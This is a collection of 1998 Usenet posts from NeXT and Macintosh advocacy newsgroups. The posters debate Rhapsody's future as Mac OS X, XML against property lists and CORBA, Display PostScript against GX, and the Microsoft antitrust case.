References: <355AEC05.AB097DC4@milestonerdl.com> <slrn6o0hnh.kcg.sal@panix3.panix.com> <6lphh7$ila$1@crib.corepower.com> <rmcassid-1106981440550001@dante.eng.uci.edu>
In article <rmcassid-1106981440550001@dante.eng.uci.edu>, rmcassid@uci.edu (Robert Cassidy) wrote:
> In article <6lphh7$ila$1@crib.corepower.com>, nurban@vt.edu wrote:
> >In article <slrn6o0hnh.kcg.sal@panix3.panix.com>, sal@panix3.panix.com
> (Salvatore Denaro) wrote:
> >> Would a Carbon finder have access to "services" the way that YB apps do?
> >> Would it have AppleScript support with the ability to control Yellow Box
> >> objects?
> >The likely answer would be "no" to the first and "yes" to the second.
> Hmm. It would seem that the latter is conceptually really nothing more
> than a much more generic version of the former, no?
Services could probably be implemented as a form of scripting should
Apple so choose. Might lose some of the OOPness though.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Java Java Java (was Re: So THAT is the OS stratetgy?)
Date: Thu, 11 Jun 1998 16:17:13 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1106981617130001@dante.eng.uci.edu>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu> <slrn6nrbv9.1po.sal@panix3.panix.com> <rmcassid-0906981511310001@dante.eng.uci.edu> <slrn6ns2jt.qvl.sal@panix3.panix.com> <rmcassid-1006980015520001@dialin9155.slip.uci.edu> <*johnnyc*-1006980924480001@mac49-38.psychology.dal.ca> <SCOTT.98Jun10093531@slave.doubleu.com> <35805722.853FAC1E@wildfire.com>
In article <35805722.853FAC1E@wildfire.com>, Tony Lovell
<tone@wildfire.com> wrote:
>I'll hijack your meaning here and say that adding a battery to a VCR
>would be dumb. Adding a means to take a global time reading off the
>blanking interval in a broadcast video signal is a much better solution!
>
>It would be the one clock in your life that was correct (for most of
>us).
Does that mean you need to teach your VCR what timezone and daylight
savings time scheme it's in?
-Bob Cassidy
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Reverse Technology
Date: Thu, 11 Jun 1998 16:56:20 -0700
Organization: Digital Universe Corporation
Message-ID: <35806EA4.100A9B0E@alum.mit.edu>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu> <slrn6nrbv9.1po.sal@panix3.panix.com> <357DB62A.6D843E17@alum.mit.edu> <ldo-1106981751380001@a7.hn3.wave.co.nz> <357FA2ED.FC1EF0C9@alum.mit.edu> <SCOTT.98Jun11091928@slave.doubleu.com> <6lpm6j$2f1$1@news.xmission.com>
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NNTP-Posting-Date: 11 Jun 1998 23:57:26 GMT
Don Yacktman wrote:
> I view XML as an extension of the property list. An EOModel is represented
> as a PL but could in fact be stored in an XML document as well. The
> extension that XML adds to the PL concept is the document type definition
> (DTD).
That's all well and good, but the XML "spec" states that DTD's are optional,
doesn't it. I doubt many people will bother writing them. From what I've seen
they're difficult to write. I think XML will be used only to do what I said in
the first email - a way to structure data on web pages which will offer a
slightly more organized interface to web data than the current search engines
give you.
My whole point was that it is my opinion that advances in technology always seem
to reverse themselves. The advent of HTML was nice for displaying static data,
but then people tried to turn HTML into much more than it really is. Companies
are writing and deploying enterprise-wide applications via the web whose UI's are
more awkward and hard to use than what Windows 1.0 offered.
My other point was that with OpenStep, DO, and EOF, I thought the human race
might be onto something. Just add a distributed virtual machine for Obj-C or
WebScript, and you have everything Java offers, plus the 10 years of advanced
technology that OpenStep and EOF offer. But instead it appears we've reverted
back 10 years with HTML/XML and Java 1.0, and we're starting to build everything
up from scratch again (starting with a much less flexible base, in my opinion).
> the added advantage is that it allows
> for cross platform interchange and also indirectly adds a way to hook a DTD
> to a PL. PLs really need some way to formally specify their semantic
> structure, which is exactly what a DTD does.
How is using XML as a cross platform data interchange any different (or any
better) than using something like CORBA? Or am I comparing apples and oranges
again (according to Scott)? :)
Eric
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 11 Jun 1998 19:45:41 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6lpq75$j4j$1@crib.corepower.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com>
In article <6lpp28$sup@nntp02.primenet.com>, John Jensen <jjens@primenet.com> wrote:
> Nathan G. Raymond <xray@cs.brandeis.edu> wrote:
> : No signs MacOS X won't be Rhapsody with just the Carbon API's tacked on.
> : Technically speaking, no biggie. By introducing Rhapsody and then
> : changing names, it gives Apple a REALLY big window to play with.
> So binaries compiled on Rhapsody will run on MacOS X?
That may not be the case (I think RDR2 isn't even binary compatible
with RDR1). But they'll be source-level compatible, at least in the
forward direction (Rhapsody to OS X).
From: Bradley DeJong <xxx10335@umn.edu>
Newsgroups: comp.sys.next.hardware,comp.sys.next.advocacy
Subject: Re: New Popular Science
Date: Thu, 11 Jun 1998 19:45:43 -0500
Organization: [poster's organization not specified]
Message-ID: <35807A37.32F3@umn.edu>
References: <6lmhvn$k2i$2@cronkite.cygnus.com> <01bd94d0$42ddea30$04387880@test1> <6lnaiq$fj4$1@crib.corepower.com>
Mime-Version: 1.0
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Nathan Urban wrote:
>
> In article <01bd94d0$42ddea30$04387880@test1>, "Todd Heberlein" <todd@NetSQ.com> wrote:
>
> > With a 233 MHz Cyrix, with a board supporting a maximum CPU speed of
> > 300 MHz, [the Rock City computer] looks pretty underwhelming.
>
> Of course, you're leaving out the 533 MHz Alpha version.
Which comes bundled with Windows 95! Maybe they've also got a DEC Alpha
version of OpenStep 4.2. ;^)
This is clearly a site designed by people without much of a clue re:
computer hardware. All they manage to say is that Rock City is "KewL".
From: pyeatt@satchmo.cs.colostate.edu ( Larry Pyeatt)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 12 Jun 1998 09:47:34 GMT
Organization: Colorado State University, Fort Collins, CO 80523
Message-ID: <6lqtfm$1dmi@yuma.ACNS.ColoState.EDU>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu>
<6jk64c$vo9$1@strato.ultra.net>
<rmcassid-1805981307530001@dante.eng.uci.edu>
<tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net>
<35d0ab0c.360543981@news.supernews.com>
<6k6tda$omk$1@ligarius.ultra.net>
<357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net>
<6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net>
<6lhoug$2jua@yuma.ACNS.ColoState.EDU> <357C76BF.721F47E9@nstar.net>
<3592b27c.6120162@news.supernews.com> <357DEE3F.5672@CONVEX.COM>
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In article <357EF1E0.F83BE28C@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> writes:
> Larry Pyeatt wrote:
>
>> Only if "millions of domestic businesses" are monopolies. Monopolies
>> have to play by different rules than other companies. That is the
>> basis of anti-trust law.
>
> This is a twisty argument, indeed.
Not really.
> Kindly explore the basis upon which Microsoft is a monopoly. In
> operating systems? In Internet browsers?
That has been hashed and re-hashed in this forum and others. It is
clear that we disagree and I see no point in arguing the matter
further. Let's wait and see what the court decides.
>> If you insist that the case has a "crux," then
>> the crux of the case is that Microsoft's practices have
>> somehow transgressed the rules set up for monopolies.
>
> Somehow? The Sherman laws do not, as far as I know, distinguish between
> monopolies and normal businesses. They prohibit the "restraint of
> trade". If, as you say, destruction of competition is a form of
> restraint of trade, then all businesses which hamper the success of
> their competitors are directly in violation of the Sherman laws.
The wording in the Sherman Act is very broad and it was left to the
courts to decide when and where to apply it. There is now a body of
legal precedent that determines when and how the Sherman Act applies.
Although the wording could apply to ANY company, precedent restricts
it to monopolies. So the DOJ could bring suit against Joe's Taco
stand if he went out and told everyone that Jane's Taco stand sold put
armadillo meat in their tacos, but the court would throw it out unless
Joe had a monopoly in the taco business. Yes, that is an
oversimplification.
>> Your premise: "The crux of the case is that Microsoft's practices have
>> somehow transgressed an invisible line left up to the determination of
>> the sitting administration." is false.
>
> When you teach logic, do you teach your students to back up assertions,
> or do they feel free to pass in papers that say "You're wrong, therefore
> there's no point in arguing with you."?
I did not say "You're wrong, therefore there's no point in arguing
with you." Instead, I said that your first premise was faulty and,
therefore, cannot be used to support an argument. If you want to try
again, then please provide support for your assertion that "The crux
of the case is that Microsoft's practices have somehow transgressed an
invisible line left up to the determination of the sitting
administration." We both know that it is not "left up to the
determination of the sitting administration" but is instead determined
by the DOJ, the Sherman Antitrust Act, and years of legal precedent.
There is no point in refuting all your claims when the premise upon
which they are based is either in error or is unsupported.
> I'll bet you write "coward" across the top of the paper, as I would
> to yours.
I am happy that I will never have someone with such a nasty and
un-Christian attitude as that for an instructor. The ovewhelming
majority of my students this semester thought I was a good teacher.
Not bad, considering the number that failed or got D's.
>> Therefore, the remainder
>> of your argument and your conclusions have no support.
>>
>> This in commonly known as arguing from a faulty premise.
>
> The sentence you quoted makes more than one assertion, too subjective to
> be called a "premise". I suggest you reevaluate for your second draft.
Actually, it only has two assertions.
1) The crux of the case is that Microsoft's practices have
somehow transgressed an invisible line
2) (The location of the invisible line is) left up to the determination of
the sitting administration.
I see that you still cannot construct a logical argument to support them.
>> You are correct that `restraint of trade' is not the same as
>> `destruction of competition.' Any sane person can see that
>> `destruction of competition' is only ONE way to restrain trade.
>
> Sanity is a valid argument in a court of logic, Mr. Pyeatt?
Well, INsanity is a valid defense in a court of law.... 8)
Actually, sanity has nothing to to with my argument, as any sane
person could see by reading the sentence. We use qualifiers such
as "Any sane person ..." to leave room for the possibility that
an insane person could hold a different opinion. "Rational"
would have been a better word in that situation. I apologise
for any confusion my choice of words may have caused.
BTW, do we have agreement that `destruction of competition' is
but one way to restrain trade?
> Ah, the tragedy of our educational system.
I don't think our Educational system is that bad. Those who have
the potential to think critically can go to Universities. Those
who don't can still go to liberal arts colleges or Christian
universities. The ones who are not cut out for a 4 year degree
can even get an associates degree.
> Pray tell, where do you teach?
You want to take my class?! Even if you could somehow get into this
university, I seriously doubt that you are equipped to pass my course.
However, I am willing to take the chance. It would certainly liven
up the discussions. Send me your address and I will mail you an
application. I'll be teaching the entry level class again this
spring. Hope to see you there!
> Although I'm loathe to invoke the specter of ad hominem attacks,
Excellent! There may be hope after all!
> when discussing such matters with a professor of logic, I cannot
> help but blanch in embarassment for you. How fortunate for you that
> your students won't bear witness to this!
Actually, a couple of them have been following this thread. They
think you are hilarious. BTW I am not a professor of logic, although
I must seem so to you.
> You are a very funny sort of professor, Mr. Pyeatt. I remember the likes
> of you from community colleges where I sortied during Junior High. Wait!
> Don't tell me!...Foothill College! No, Monroe County?
Keep trying. Eventually you will get into one. Here's a hint: Most
community colleges are not PhD granting institutions. Here's another
hint: Look at my signature.
--
Larry D. Pyeatt All standard disclaimers apply.
pyeatt@cs.colostate.edu Void where prohibited.
http://www.cs.colostate.edu/~pyeatt
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Reverse Technology
Date: 12 Jun 1998 09:45:56 GMT
Organization: MiscKit Development
Message-ID: <6lqtck$m6c$4@news.xmission.com>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu> <slrn6nrbv9.1po.sal@panix3.panix.com> <357DB62A.6D843E17@alum.mit.edu> <ldo-1106981751380001@a7.hn3.wave.co.nz> <357FA2ED.FC1EF0C9@alum.mit.edu> <SCOTT.98Jun11091928@slave.doubleu.com> <6lpm6j$2f1$1@news.xmission.com> <35806EA4.100A9B0E@alum.mit.edu>
Eric Hermanson <eric@alum.mit.edu> wrote:
> [...] I think XML will be used only [as] a way
> to structure data on web pages which will offer a slightly more
> organized interface to web data than the current search engines
> give you.
Just because the majority of people either (a) don't use a technology to the
fullest extent of its abilities or (b) misuse a technology doesn't
necessarily mean that the technology itself is bad.
I know people who bought NeXT machines because they "looked cool". They
never did any programming with them and pretty much only ever used Edit.app
and Mail.app. By your definition, NEXTSTEP sucks because it, essentially,
only was used for email by these people. I hope that you can see why the
comment I quoted above is absurd...
Believe me, there are people that understand what XML can and can't offer,
and they _will_ be using it "right". If the majority of the world doesn't
"get it", it doesn't matter. How many people really "get" OPENSTEP, or any
of the other wonderful NeXT-spawned technologies? Far fewer than the number
that will "get" XML, I assure you...
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: pyeatt@satchmo.cs.colostate.edu ( Larry Pyeatt)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 12 Jun 1998 10:04:45 GMT
Organization: Colorado State University, Fort Collins, CO 80523
Message-ID: <6lquft$1dmi@yuma.ACNS.ColoState.EDU>
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<3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM>
<35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net>
<6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net>
<rmcassid-1206980004350001@dialin9229.slip.uci.edu>
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In article <rmcassid-1206980004350001@dialin9229.slip.uci.edu>,
rmcassid@uci.edu (Robert Cassidy) writes:
> I agree with the 'bad laws weaken good laws' arguments, but a country
> without anti-trust would be so fragile and oscillate so wildly that I
> don't think many of us would enjoy it much.
I had to think about this one for a minute. Thanks! It was the
fragility and oscillation part that threw me. I think I see what
you are saying. Please check my reasoning:
Company A gets a monopoly in some area and kills all competition.
The public is happy, but Company A keeps expanding until they
control "too much," they have no competition to keep prices
low, innovation stagnates, and their products become shoddy.
The public realizes what has happenned and there is a huge backlash.
Company A goes down and thousands are laid off.
Since so much of the economy depends on Company A, the whole economy
is in the toilet for a while.
The economy recovers and Company B gets a monopoly.
The cycle repeats.
Now consider this is happening in several markets all the time.
Is that anywhere near what you are thinking?
--
Larry D. Pyeatt All standard disclaimers apply.
pyeatt@cs.colostate.edu Void where prohibited.
http://www.cs.colostate.edu/~pyeatt
Date: Fri, 12 Jun 1998 06:37:18 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <joe.ragosta-1206980637190001@elk50.dol.net>
References: <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <6lhoug$2jua@yuma.ACNS.ColoState.EDU> <357C76BF.721F47E9@nstar.net> <3592b27c.6120162@news.supernews.com> <357DEE3F.5672@CONVEX.COM> <6lmpoa$26lc@yuma.ACNS.ColoState.EDU> <357EF1E0.F83BE28C@nstar.net> <35927b86.17015590@news.supernews.com> <35800F35.1BB4C80E@nstar.net>
In article <35800F35.1BB4C80E@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> I personally found it outrageous that Netscape in 1996, with over 85% of
> the browser market, asked me to pay $50 for an HTML rendering engine
> with an attached FTP client. Happily, Microsoft has used its "monopoly"
> power to remedy the situation: I now have access to my choice of
> browsers, for free! Predictably, the market share between the two
> companies is split roughly in half.
Until Netscape goes out of business or stops producing Navigator because
they're losing so much money on it.
Or until MS convinces enough people that MSIE really is part of the OS and
you shouldn't remove it.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 12 Jun 1998 10:35:14 GMT
Organization: P & L Systems
Message-ID: <6lr092$rn6$2@ironhorse.plsys.co.uk>
References: <6lnvme$den$1@news.cs.tu-berlin.de> <B1A560A8-C4FFE@206.165.43.134>
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Cc: english@primenet.com
In <B1A560A8-C4FFE@206.165.43.134> "Lawson English" wrote:
> But DPS can't output overlapping, resolution-independent, non-opaque
> objects to PDF OR EPS, can it?
>
Yes, it can. Elsewhere I even gave you the method you'd use to do this:
-€(NSData€*)dataWithEPSInsideRect:(NSRect)aRect
Returns EPS data that draws the region of the receiver within aRect. This
data can be placed on an NSPasteboard, written to a file, or used to create
an NSImage object.
e.g.
epsData = [myView dataWithEPSInsideRect:viewRect];
Now that really wasn't so hard, was it?
This functionality has been around for over a decade now.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Followup-To: comp.sys.mac.programmer.misc
Date: 12 Jun 1998 10:40:34 GMT
Organization: P & L Systems
Message-ID: <6lr0j2$rn6$3@ironhorse.plsys.co.uk>
References: <6lomen$to$12@ironhorse.plsys.co.uk> <B1A569C8-E74D1@206.165.43.134>
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NOTE: FOLLOWUPS TO COMP.SYS.MAC.PROGRAMMER.MISC
In <B1A569C8-E74D1@206.165.43.134> "Lawson English" wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> said:
>
> >> Adobe tried to flog off Display PostScript for ten years, with only
> >> limited success, so it eventually had to give up.
> >>
> >Whereas GX has been a runaway success in the marketplace...?
>
> Given the lack of marketing of Apple vs the marketing done by Adobe?
>
Adobe hasn't exactly been splashing money about promoting DPS.
Whatever, the point still stands that market acceptance is not a good guide
here -- whichever way you cut it, and whatever excuses you trot out, GX
*failed*.
We're not interested in it here (in csna) any more -- your rants over the
last 18+ months have, as I warned you a long time ago would be the case if
you persisted with your attitude, have served only to put people off the
technology.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 12 Jun 1998 10:50:40 GMT
Organization: P & L Systems
Message-ID: <6lr160$rn6$5@ironhorse.plsys.co.uk>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net>
<6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com>
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In <6lpp28$sup@nntp02.primenet.com> John Jensen wrote:
> Nathan G. Raymond <xray@cs.brandeis.edu> wrote:
> : No signs MacOS X won't be Rhapsody with just the Carbon API's tacked on.
> : Technically speaking, no biggie. By introducing Rhapsody and then
> : changing names, it gives Apple a REALLY big window to play with.
>
> So binaries compiled on Rhapsody will run on MacOS X?
>
I would *guess* not; the imagine model will be different, as will the kernel,
so whilst I'd expect (for the most part, assuming you don't use pswraps)
source-level compatibility, you'll almost certainly have to recompile.
Best wishes,
mmalc.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Killing DPS for EQD is STUPID!
Date: 12 Jun 1998 02:58:56 GMT
Organization: University of California at San Diego
Message-ID: <slrn6o16bf.l4v.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <358018FA.61F1@rs6000.cmp.ilstu.edu> <6lpd91$5c5$1@news.digifix.com>
On 11 Jun 1998 20:04:49 GMT, Scott Anguish <sanguish@digifix.com> wrote:
: - DPS costs Apple money.. Adobe, in its infinite stupidity has
:said that they'd rather DPS died that give Apple DPS for free
This is really really stupid of Adobe. It will inevitably face more
competition from Microsoft on Windows than it would from anybody else on the
Mac.
Windows on the brain: It's a disease infecting so many. They feel
that by being more closely associated with Microsoft they will magically
be able to be a part of that obscene revenue stream. In real life of course,
Microsoft sees them as yet another virgin with a beautiful neck to drain.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X for G3 *ONLY*
Date: 12 Jun 1998 10:45:14 GMT
Organization: P & L Systems
Message-ID: <6lr0rq$rn6$4@ironhorse.plsys.co.uk>
References: <Nu6g1.3687$Nr5.1864654@proxye1.san.rr.com>
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Cc: eadeans@san.rr.com
In <Nu6g1.3687$Nr5.1864654@proxye1.san.rr.com> "Ed Deans." wrote:
> On Thursday I attended an Apple product seminar in San Diego.
[...]
> NetInfo got a big plug
>
Hmm, that's particularly interesting (NetInfo's great technology that is very
rarely talked about in public, and there don't seem to be many people in
Apple who grok it and what it offers, for example, large education
installations) -- what did they have to say?
Best wishes,
mmalc.
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 12 Jun 1998 01:00:05 GMT
Organization: I don't think so
Message-ID: <slrn6o0vlf.2t2.jason@jhste1.dyn.ml.org>
References: <B1A31F69-125386@206.165.43.79> <B1A32350-133E43@206.165.43.79> <slrn6nrmih.526.jason@jhste1.dyn.ml.org> <6llf9k$m9t$3@ironhorse.plsys.co.uk> <slrn6nt9ob.8da.jason@jhste1.dyn.ml.org> <uwwapf7fh.fsf@ai.mit.edu> <slrn6ntq6h.148.jason@jhste1.dyn.ml.org> <uwwao3qp8.fsf@ai.mit.edu>
Stephen Peters posted the following to comp.sys.mac.advocacy:
>> >Of course you don't; you're new. [...]
>> I been here in csma since before the NeXT merger, so I'd hardly
>> call me "new" to Lawson vs. NeXT.
>But you admitted yourself that you skipped over most of the Lawson
>threads until recently. I'd say that you're new to the Lawson-c.s.n.a
>dynamic, and I'm sorry if I didn't clarify that.
Why do you think that I have skipping over most of it for the last
18 months?
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: pyeatt@satchmo.cs.colostate.edu ( Larry Pyeatt)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 12 Jun 1998 00:52:48 GMT
Organization: Colorado State University, Fort Collins, CO 80523
Message-ID: <6lpu50$26g6@yuma.ACNS.ColoState.EDU>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu>
<6jk64c$vo9$1@strato.ultra.net>
<rmcassid-1805981307530001@dante.eng.uci.edu>
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<35d0ab0c.360543981@news.supernews.com>
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In article <slrn6ntpq7.q83.ben@ben.tapehouse.net>,
ben@ben.tapehouse.net (Ben Rosengart) writes:
> In article <rmcassid-1006980005070001@dialin9155.slip.uci.edu>, Robert
> Cassidy wrote:
>>
>>Personally, I don't see Intel as a problem.
>
> I don't feel as strongly about them as I do about Microsoft for the simple
> reason that using their products isn't usually like pulling teeth.
Unless you're used to a Sun Ultra 2, or tried to progam an Intel processor
in assembly. (Shudder)
--
Larry D. Pyeatt All standard disclaimers apply.
pyeatt@cs.colostate.edu Void where prohibited.
http://www.cs.colostate.edu/~pyeatt
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Reverse Technology
Date: 11 Jun 98 18:27:54
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun11182754@slave.doubleu.com>
References: <357C11AF.D1BF8149@technologist.com>
<rmcassid-0806981539290001@dante.eng.uci.edu>
<6lji4s$pns$1@new-news.cc.brandeis.edu>
<rmcassid-0906981239540001@dante.eng.uci.edu>
<slrn6nrbv9.1po.sal@panix3.panix.com> <357DB62A.6D843E17@alum.mit.edu>
<ldo-1106981751380001@a7.hn3.wave.co.nz>
<357FA2ED.FC1EF0C9@alum.mit.edu>
<SCOTT.98Jun11091928@slave.doubleu.com>
<6lpm6j$2f1$1@news.xmission.com> <35806EA4.100A9B0E@alum.mit.edu>
In-reply-to: Eric Hermanson's message of Thu, 11 Jun 1998 16:56:20 -0700
I've talked to a number of people about using XML as a format to store
files in. The first response is generally "But we don't need a
browser." While XML will be used by web browsers in the future, XML
is not a web browser language.
The other common response is "Then we could publish our data on the
net?" That also isn't quite there. Just because data is in XML
doesn't mean that a web browser can do anything with it. But since
it's in XML, it should be easier to write tools to turn it into
something a web browser can work with...
In article <35806EA4.100A9B0E@alum.mit.edu>,
Eric Hermanson <eric@alum.mit.edu> writes:
Don Yacktman wrote:
> I view XML as an extension of the property list. An EOModel is
> represented as a PL but could in fact be stored in an XML
> document as well. The extension that XML adds to the PL concept
> is the document type definition (DTD).
That's all well and good, but the XML "spec" states that DTD's are
optional, doesn't it. I doubt many people will bother writing
them.
<...>
My whole point was that it is my opinion that advances in
technology always seem to reverse themselves. The advent of HTML
was nice for displaying static data, but then people tried to turn
HTML into much more than it really is.
If you don't write a DTD for your XML ... then why not just use HTML?
XML is good for those people who want more from HTML than it can
really provide. If they don't want to write their own DTD, they'll
have to use someone else's - but at least the capability of defining
the structure is there. With HTML, not only is it not there, it's
also frowned upon.
Note, though, that XML itself doesn't give you the capability to
display dynamic data. Rather, it gives you the tools to expand the
information in the file in reasonable ways. So you can define tags
which are agreed to represent dynamic data. [Agreed upon by who?
That's a different story. But at least everyone understands the
format of the data, if not what the data means.]
My other point was that with OpenStep, DO, and EOF, I thought the
human race might be onto something.
<...>
But instead it appears we've reverted back 10 years with HTML/XML
and Java 1.0, and we're starting to build everything up from
scratch again (starting with a much less flexible base, in my
opinion).
On the Objective-C side, you didn't specify a file format. Even if
you expect to store _everything_ in a database, you still require a
format for bulk data like email messages and news postings. XML is
that format. The alternatives in the NeXT arena are NSPPL and
NSArchive/typedstreams format (and roll-your-own, of course). Neither
is a standard of any sort, nor is there any future possibility that
they will become a standard.
> the added advantage is that it allows for cross platform
> interchange and also indirectly adds a way to hook a DTD to a PL.
> PLs really need some way to formally specify their semantic
> structure, which is exactly what a DTD does.
How is using XML as a cross platform data interchange any different
(or any better) than using something like CORBA? Or am I comparing
apples and oranges again (according to Scott)? :)
You're really out in apples and oranges country, here. CORBA defines
a model for distributed objects, but it defines _nothing_ about the
format of communications (IIOP does do so, though). XML defines a
format for communicating data, but defines _nothing_ about the data or
its structure (except for being tree structured). A DTD can be used
to more generally define the structure of the data.
XML is merely a way of formatting data. XML itself doesn't do
anything magic with the data. Where XML starts to get worthwhile is
when XML parsing and manipulation libraries are broadly available.
Then you could take an arbitrary XML file and easily write programs to
muck with it. Or you can load it into an ASCII (or Unicode) editor
and muck with it there.
You could use XML as a message format for Corba, or as a file format
to store EOModels in, or as a replacement for NSPPL format, or as a
replacement for the NSArchive format, whatever. Anyplace you need to
store structured data in a file.
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Java Java Java (was Re: So THAT is the OS stratetgy?)
Date: 11 Jun 98 16:51:21
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun11165121@slave.doubleu.com>
References: <357C11AF.D1BF8149@technologist.com>
<rmcassid-0806981539290001@dante.eng.uci.edu>
<6lji4s$pns$1@new-news.cc.brandeis.edu>
<rmcassid-0906981239540001@dante.eng.uci.edu>
<slrn6nrbv9.1po.sal@panix3.panix.com>
<rmcassid-0906981511310001@dante.eng.uci.edu>
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<*johnnyc*-1006980924480001@mac49-38.psychology.dal.ca>
<SCOTT.98Jun10093531@slave.doubleu.com>
<35805722.853FAC1E@wildfire.com>
In-reply-to: Tony Lovell's message of Thu, 11 Jun 1998 18:16:02 -0400
In article <35805722.853FAC1E@wildfire.com>,
Tony Lovell <tone@wildfire.com> writes:
Scott Hess wrote:
> This isn't hard stuff. If companies can't be bothered to add
> 1-2% to the price of a VCR or microwave to add something
> demonstrably useful like a battery for the clock chip, why does
> anyone think they'll want to add %25 or more to the price of a
> cuisinart or bread machine to let you access it over the net?
I'll hijack your meaning here and say that adding a battery to a
VCR would be dumb.
Well, except insofar as adding a battery fixes the problem for that
system. Adding external infrastructure is in some senses a better
fix, but in other senses is not (what if the VCR isn't hooked up to a
standard broadcast source?).
